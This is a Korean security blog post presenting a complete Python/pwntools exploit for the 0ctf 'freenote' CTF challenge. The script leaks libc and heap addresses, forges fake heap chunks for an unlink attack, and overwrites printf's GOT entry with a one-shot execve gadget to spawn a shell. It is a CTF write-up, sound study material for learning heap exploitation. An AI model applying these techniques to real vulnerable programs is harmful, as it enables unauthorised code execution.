Notice
Recent Posts
Recent Comments
Link
«   2025/07   »
1 2 3 4 5
6 7 8 9 10 11 12
13 14 15 16 17 18 19
20 21 22 23 24 25 26
27 28 29 30 31
Tags
more
Archives
Today
Total
관리 메뉴

cdor1's lab

0ctf freenote 본문

Security/Pwnable

0ctf freenote

Cdor1 2016. 12. 6. 05:45

후기 : 어렵다... fake chunk를 만드는 작업은 매우 정교해서 내 머리가 malloc이 되는 기분이다.

system으로 got를 덮고 /bin/sh를 줘서 쉘을 얻어도 되지만 요번에는 새로 알게된 oneshot 가젯이라는 것을 써보았다.

oneshot 가젯이란 execve함수로 /bin/sh를 실행해주는 libc에 있는 가젯인데 이걸로 got를 덮어주면 그 함수를 부르자마자 쉘을 얻을 수 있게 된다.

 


from pwn import *

s = remote('localhost',4000)
elf = ELF('/home/cdor1/pwnable/freenote')
libc = ELF('/home/cdor1/pwnable/libc.so.6_cdor1')

printf_got = elf.got['printf']

def list():
	print s.recvuntil(':')
	s.sendline('1')
	
def new(length, content):
	print s.recvuntil(':')
	s.sendline('2')
	print s.recvuntil(':')
	s.sendline(str(length))
	print s.recvuntil(':')
	s.sendline(content)

def edit(number, length, content):
	print s.recvuntil(':')
	s.sendline('3')
	print s.recvuntil(':')
	s.sendline(str(number))
	print s.recvuntil(':')
	s.sendline(str(length))
	print s.recvuntil(':')
	s.sendline(content)

def delete(number):
	print s.recvuntil(':')
	s.sendline('4')
	print s.recvuntil(':')
	s.sendline(str(number))


new(4,'AAAA')
new(4,'BBBB')
delete(0)
new(1,'\xb8')

list()
print s.recvuntil('0. ')
main_arena = u64(s.recv(6).strip('\x0a').ljust(8,'\x00'))
libc_base = main_arena - 0x3BE7B8
oneshot = libc_base + 0x4647C
print '[*] main_arena : ' + hex(main_arena)
print '[*] libc_base : ' + hex(libc_base)

delete(1)
delete(0)
for i in range(0,4):
	new(16,'A'*16)

delete(2)
delete(0)

new(8,'A'*8)
list()
print s.recvuntil('AAAAAAAA')
leak = u32(s.recv(4).strip('a').ljust(4,'\x00'))
heap_base = leak - 0x1808
print '[*] heap_leak : ' + hex(leak)
print '[*] heap_base : ' + hex(heap_base)

delete(0)
delete(1)
delete(3)

new(256, 'A'*256)
new(256, 'B'*256)
new(256, 'C'*256)

delete(2)
delete(1)
delete(0)

fake = p64(0)
fake += p64(0x100)
fake += p64(heap_base)
fake += p64(heap_base + 0x8)
fake += 'A'*(256 - 32)

fake += p64(0x100)
fake += p64(0x110)
fake += 'B'*256

fake += p64(0x100)
fake += p64(0x111)
fake += 'C'*(256 - 32)

new(768, fake)
delete(1)

pay = p64(0x100)
pay += p64(1)
pay += p64(0x8)
pay += p64(printf_got)
pay += 'A'*(768 - len(pay))

edit(0, 0x300, pay)
edit(0, 8, p64(oneshot))

s.interactive()

'Security > Pwnable' 카테고리의 다른 글

fastbin consolidate  (0) 2016.12.08
unsafe unlink  (0) 2016.12.07
HITCON 2016 SecretHolder  (0) 2016.12.01
pwnable 문제 주의할 것  (0) 2016.11.22
Boston key party ctf 2016 cookbook  (0) 2016.11.22
Comments